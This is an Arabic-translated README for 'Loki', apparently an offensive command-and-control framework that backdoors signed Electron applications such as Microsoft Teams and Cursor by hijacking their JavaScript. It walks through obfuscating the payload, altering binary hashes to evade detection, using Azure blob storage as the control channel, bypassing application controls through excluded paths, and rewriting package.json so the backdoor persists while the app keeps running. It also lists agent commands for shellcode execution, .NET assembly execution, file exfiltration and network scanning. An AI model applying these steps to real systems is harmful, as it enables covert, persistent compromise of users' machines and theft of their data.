
🧙♂️ Node.js للقيادة والتحكم باختطاف السكربتات في تطبيقات Electron الضعيفة
لوكي هو إطار عمل للقيادة والتحكم (C2) من المرحلة الأولى مكتوب بلغة Node.js، صُمم لاختطاف السكربتات في تطبيقات Electron الضعيفة MITRE ATT&CK T1218.015. طُوّر لعمليات الفريق الأحمر، يمكّن لوكي من مراوغة برامج الأمان وتجاوز ضوابط التطبيقات عبر استغلال تطبيقات Electron الموثوقة والموقّعة.
اختطاف السكربتات يختطف تدفق التنفيذ لتطبيق Electron عن طريق تعديل ملفات JavaScript المحمّلة في وقت التشغيل بأكواد Node.js عشوائية. يمكن استغلال هذه التقنية من أجل:
في حين أن عدة أدوات تتناول بالفعل استغلال اختطاف السكربتات لتوجيه التنفيذ إلى عملية أخرى، فإن لوكي هو الأول الذي يتيح زرع أبواب خلفية وتجويف تطبيقات Electron الموقّعة دون إبطال توقيع الكود الخاص بها.
لمزيد من التفاصيل حول كيفية عمل لوكي، طالع منشور المدونة هذا:

| الاسم | المساهمات |
|---|---|
| Bobby Cooke | المُنشئ والمشرف |
| Dylan Tran | مُنشئ |
| Ellis Springe | مُختبِر ألفا |
| Shawn Jones | كود تنفيذ التجميع |
| Trusted Sec | كود COFFLoader |
| Simon Exley | صانع فيديو |
| Clinton Elves | صانع فيديو |
| John Hammond | صانع فيديو |
شاهد هذا الفيديو من John Hammond حول زرع باب خلفي في Cursor AI باستخدام Loki C2! 🎩
شاهد هذا الفيديو من Simon Exley & Clinton Elves حول البدء في استخدام Loki C2! 🧙♂️
جميع أوامر الوكيل مكتوبة بلغة Node.js الأصلية ولا تتطلب تبعيات إضافية أو عمليات تحميل مكتبات. باستثناء الأمرين scexec و assembly اللذين يقومان بتحميل مكتبة على keytar.node و assembly.node
/، ولن تعمل المسارات التي تحتوي على \.set - تحميل العقد من مسارات استثناء ضوابط التطبيقاتset لتغيير مسارات التحميل لكل من assembly.node و scexec.node.ls و cat و cp و mv قد تتمكن من تعداد قواعد ضوابط التطبيقات لاكتشاف دليل قابل للكتابة يعد استثناءً.set لتغيير مسار التحميل إلى دليل الاستثناء لتجاوز ضوابط التطبيق.[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
لمزيد من المعلومات حول ميزات الوكيل اضغط هنا
لمزيد من المعلومات حول ميزات العميل اضغط هنا
أولاً، تحتاج إلى تحديد تطبيق Electron ضعيف لا يجري فحوصات تكامل أمان ASAR مثل Microsoft Teams. قد تحتوي التطبيقات الأحدث على فحوصات تكامل تمنع زرع الأبواب الخلفية. الإصدارات الأقدم من التطبيق المستهدف من المرجح أن تكون ضعيفة.
لا تحتاج إلى تجميع الوكيل عند زرع أبواب خلفية في تطبيقات Electron. فقط استبدل محتويات {ELECTRONAPP}/resources/app/ بملفات وكيل لوكي.
cd إليهjavascript-obfuscatornpm install --save-dev javascript-obfuscator
create_agent_payload.js لإنشاء حمولة لوكي بمعلومات حساب التخزين الخاص بكbobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/{ELECTRONAPP}/resources/./app/ الخاص بلوكي إلى {ELECTRONAPP}/resources/app/شغّل عميل لوكي بواجهة رسومية
من شريط القوائم انقر Loki Client > Configuration لفتح نافذة الإعدادات
أدخل تفاصيل حساب التخزين الخاص بك وانقر Save

يجب أن يظهر الوكيل الآن في لوحة المعلومات
انقر على الوكيل من جدول لوحة المعلومات لفتح نافذة الوكيل
اختبر للتأكد من أن لوكي يعمل بشكل صحيح
إن الطريقة الأكثر مباشرة لاستخدام لوكي هي استبدال الملفات الموجودة في {ELECTRONAPP}/resources/app/ بملفات لوكي. يؤدي هذا إلى تجويف التطبيق، مما يعني أن التطبيق لن يعمل بشكل طبيعي -- لقد استبدل لوكي وظيفته.
إذا كنت تريد حقًا إبقاء تطبيق Electron يعمل مع نشر لوكي في الخلفية أيضًا، فكل الأمل ليس مفقودًا! لقد توصلت أنا و John Hammond إلى طريقة لإبقاء تطبيق Electron الحقيقي يعمل. أضفنا الملف الذي ستحتاجه إلى /loki/backdoor/init.js في هذا المستودع.
وهو حاليًا معدّ للعمل مع Cursor، الذي اكتشف John Hammond أنه ضعيف.
لتنفيذ ذلك، ستحتاج إلى:
package.json في cursor/resources/app/
package.json الحقيقي/loki/backdoor/init.js إلى cursor/resources/app/cursor/resources/app/package.json إلى:
"main":"init.js","type":"module","private":true,Cursor.exe ملف init.js عند النقر / التنفيذinit.js ملف package.jsoninit.js "main":"init.js", -> "main":"main.js",
main.js هو لوكيinit.js عملية Cursor.exe جديدة ويتخلى عنها، وتشير إلى لوكيinit.js ملف package.json مرة أخرىinit.js "main":"main.js", ->
بهذه الطريقة يبقى التطبيق مخترقًا بشكل دائم ويعمل بشكل طبيعي. إذا تم إغلاق تطبيق Cursor، سيستمر لوكي في العمل في الخلفية.
سأصنع سكربتًا لأتمتة هذا في المستقبل.
هذه هي تعليمات التجميع لبناء الوكلاء والعملاء. تغطي التعليمات منصات متعددة، بما في ذلك Windows و Linux و macOS. يُنصح بتجميع العميل على المنصة والبنية المستهدفة.
إذا كنت تزرع بابًا خلفيًا في تطبيق Electron، فلست بحاجة إلى تجميع الوكلاء.
لا أنصح بتجميع الوكيل واستخدامه في العمليات. تعليمات تجميع الوكلاء مخصصة للتطوير.
~/Downloads/Teams/Teams.exe*.blob.core.windows.netnetstat.exe أو whoami.exepackage.json الخاص بلوكي في ~/AppData/Roaming/{NAME} عند تنفيذ JavaScript الخاص بلوكي داخل عملية Electron.%LOCALAPPDATA%\Microsoft\Teams\current\app%LOCALAPPDATA%\Microsoft\Teams\current\app.asar بواسطة غير مثبّت/محدّث Teamsهذا المشروع مرخّص بموجب Business Source License 1.1. يُسمح بالاستخدام غير التجاري بموجب شروط الترخيص. يتطلب الاستخدام التجاري إذنًا صريحًا من المؤلف. في 3 أبريل 2030، سيتحول هذا الترخيص إلى Apache 2.0. راجع LICENSE للتفاصيل الكاملة.
| الأمر | الوصف |
|---|
help | عرض المساعدة. الاستخدام: help أو help scan |
pwd | طباعة دليل العمل الحالي |
ls | سرد الملفات والأدلة |
cat | عرض محتويات ملف |
env | عرض متغيرات بيئة العملية |
spawn | إنشاء عملية فرعية |
drives | سرد محركات الأقراص |
mv | نقل ملف إلى وجهة جديدة |
sleep | النوم لثوانٍ مع تذبذب (jitter) |
cp | نسخ ملف مصدر إلى وجهة |
exit-all | إنهاء الوكيل، لن يعاود الوكيل الاتصال بعد الآن |
load | تحميل ملف PE عقدي من القرص إلى العملية |
scexec | تنفيذ شيل كود |
assembly | تنفيذ تجميعة .NET والحصول على مخرجات الأوامر |
upload | رفع ملف من جهاز المشغّل المحلي إلى جهاز الوكيل البعيد |
download | تنزيل ملف من جهاز الوكيل البعيد إلى جهاز المشغّل المحلي |
scan | إجراء فحص شبكة TCP عبر نطاق CIDR مع منافذ محددة |
dns | استعلام DNS. يستخدم إعدادات DNS الخاصة بالنظام |
set | ضبط مسارات تحميل Node لعقدتي assembly و scexec |
bof | تنفيذ ملف COFF وإرجاع المخرجات |
"main":"./out/main.js",./out/main.js" هو تطبيق Cursor الحقيقيinit.js عملية Cursor.exe جديدة ويتخلى عنها، وتشير إلى Cursor الحقيقيinit.js حدث الإغلاقinit.js ملف package.json للمرة الثالثةinit.js "main":"./out/main.js", -> "main":"init.js",